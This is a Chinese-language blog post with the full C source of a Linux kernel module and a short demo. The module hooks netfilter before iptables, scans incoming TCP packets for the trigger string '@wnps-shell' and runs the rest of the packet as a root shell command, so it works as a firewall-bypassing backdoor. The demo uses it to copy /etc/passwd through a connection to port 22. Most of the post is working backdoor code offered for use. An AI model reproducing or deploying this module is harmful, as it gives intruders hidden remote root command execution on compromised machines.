利用netfilter来突破防火墙

前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包， hook点是NF_IP_PRE_ROUTING， 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了， 可以实现防火墙， 嗅探器， 当然也可以用来触发回连后门， wnps就是这么来作的， 因此不管主机防火墙作的规则如何变态， 都有机会穿透它。下面这个demo用来演示分析tcp包的内容， 分析出里面的命令， 然后去执行它， 有点类似以前的icmp, ip包后门， 只不过这些都在内核来完成， 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。

wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58

demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

+---------------------------------------------------------------------+
#include

<linux/kernel.h>

#include <linux/init.h>

#include

<linux/module.h>

#include <linux/version.h>

#include

<linux/string.h>

#include <linux/kmod.h>

#include

<linux/vmalloc.h>

#include <linux/workqueue.h>

#include

<linux/spinlock.h>

#include <linux/socket.h>

#include

<linux/net.h>

#include <linux/in.h>

#include

<linux/skbuff.h>

#include <linux/ip.h>

#include

<linux/tcp.h>

#include <linux/netfilter.h>

#include

<linux/netfilter_ipv4.h>

#include <linux/icmp.h>

#include

<net/sock.h>

#include <asm/uaccess.h>

#include

<asm/unistd.h>



#define HOOK_DEBUG



#ifdef

HOOK_DEBUG

#define DbgPrint(format, args...) \

printk("hook:

function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);

#else

#define

DbgPrint(format, args...) do {} while(0);

#endif



#define

TCP_SHELL_KEY "@wnps-shell"



#define PORT_NUM 6

#define IP_NUM

20

#define BUFF_NUM

512



MODULE_LICENSE("GPL");

MODULE_AUTHOR("wzt");



struct

exec_work {

struct work_struct work;

char

*cmd;

};



static struct nf_hook_ops nfho;



int

kexec_user_app(void *data)

{

struct exec_work *work = data;

int

ret;

char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};



char *envp[] = { "HOME=/",



"TERM=linux",



"PATH=/sbin:/usr/sbin:/bin:/usr/bin",

NULL };



ret = call_usermodehelper(argv[0], argv, envp, 1);



return

ret;

}



int execute_user_command(char *cmd)

{

struct

exec_work *exec_work;



exec_work = kmalloc(sizeof(struct exec_work),

GFP_ATOMIC);

exec_work->cmd = kmalloc(1024*sizeof(char),

GFP_ATOMIC);



INIT_WORK(&exec_work->work,

kexec_user_app);

strncpy(exec_work->cmd, cmd, strlen(cmd) +

1);



schedule_work(&exec_work->work);



return

0;

}



unsigned int hook_func(unsigned int

hooknum,

struct sk_buff

**skb,

const struct net_device

*in,

const struct net_device

*out,

int (*okfn)(struct sk_buff *))

{

#if

LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)

struct sk_buff *sk =

skb_copy(skb, 1);

#else

struct sk_buff *sk =

*skb;

#endif

struct iphdr *ip;

struct tcphdr

*tcphdr;

char buf[BUFF_NUM], *data = NULL;

char *p;





if (!sk)

return NF_ACCEPT;





#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)

ip =

ip_hdr(sk);

#else

ip = sk->nh.iph;

#endif



switch

(ip->protocol) {

case 1:

return

NF_ACCEPT;



case 6:

#if

LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)



tcphdr = ip_hdr(sk);



tcphdr

=

(struct tcphdr *)((void *)sk->data

+

((struct iphdr

*)sk->data)->ihl * 4);



data = (char *)((int *)tcphdr +

(int)(tcphdr->doff));

#else

tcphdr = (struct

tcphdr *)((__u32 *)ip + ip->ihl);



data = (char *)((int

*)tcphdr + (int)(tcphdr->doff));

#endif





/*

* filter the connected tcp

packet

*/

if ((p = strstr(data,

TCP_SHELL_KEY)) != NULL) {

DbgPrint("got the tcp key

.\n");

p += strlen(TCP_SHELL_KEY) + 1;



DbgPrint("%s\n", p);



execute_user_command(p);

goto out;



}



out:

memset(buf, '\0',

BUFF_NUM);



return NF_ACCEPT;





default:

return

NF_ACCEPT;

}

}



static int kexec_test_init(void)

{



printk("kexec test start ...\n");



nfho.hook = hook_func;



nfho.owner = NULL;

nfho.pf = PF_INET;



#if LINUX_VERSION_CODE >=

KERNEL_VERSION(2,6,22)

nfho.hooknum =

NF_INET_PRE_ROUTING;

#else

nfho.hooknum =

NF_IP_PRE_ROUTING;

#endif



nfho.priority = NF_IP_PRI_FIRST;





nf_register_hook(&nfho);



return 0;

}



static

void kexec_test_exit(void)

{

printk("kexec test exit ...\n");



nf_unregister_hook(&nfho);

}



module_init(kexec_test_init);

module_exit(kexec_test_exit);